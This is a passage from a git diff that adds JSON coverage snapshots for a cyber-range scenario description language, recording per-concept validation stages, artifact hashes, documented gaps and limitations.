"structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "73c987612a8566c0530722fbb822233806f08c78620584318a50055ca6f5fbe7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "28c845f5cadba1e5b8f2aafbdf02b18487e2d1d2022a2a69e14644f078f2832c", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "3884db290b1210ecd62061b5f225ca6cf35a4f19c2841b962a326a6a9dd6ff63", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "1ab0580525136667bbc713d3c2f4a7820bab08da", + "snapshot_id": "raes-standardized-specification-coverage-issue-1242-v22", + "snapshot_revision": "22.0.0", + "source_state": { + "base_revision": "1ab0580525136667bbc713d3c2f4a7820bab08da", + "checkout_state": "modified", + "implementation_digest": "8d88bc09c7df0c12fc49d175c52ee372ae7b452a9355f42851a755e0c3d83982", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v23.json b/docs/research/specification-coverage/execution-snapshot-v23.json new file mode 100644 index 000000000..3a6cc7ac9 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v23.json @@ -0,0 +1,686 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-16T07:35:28.299884+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + 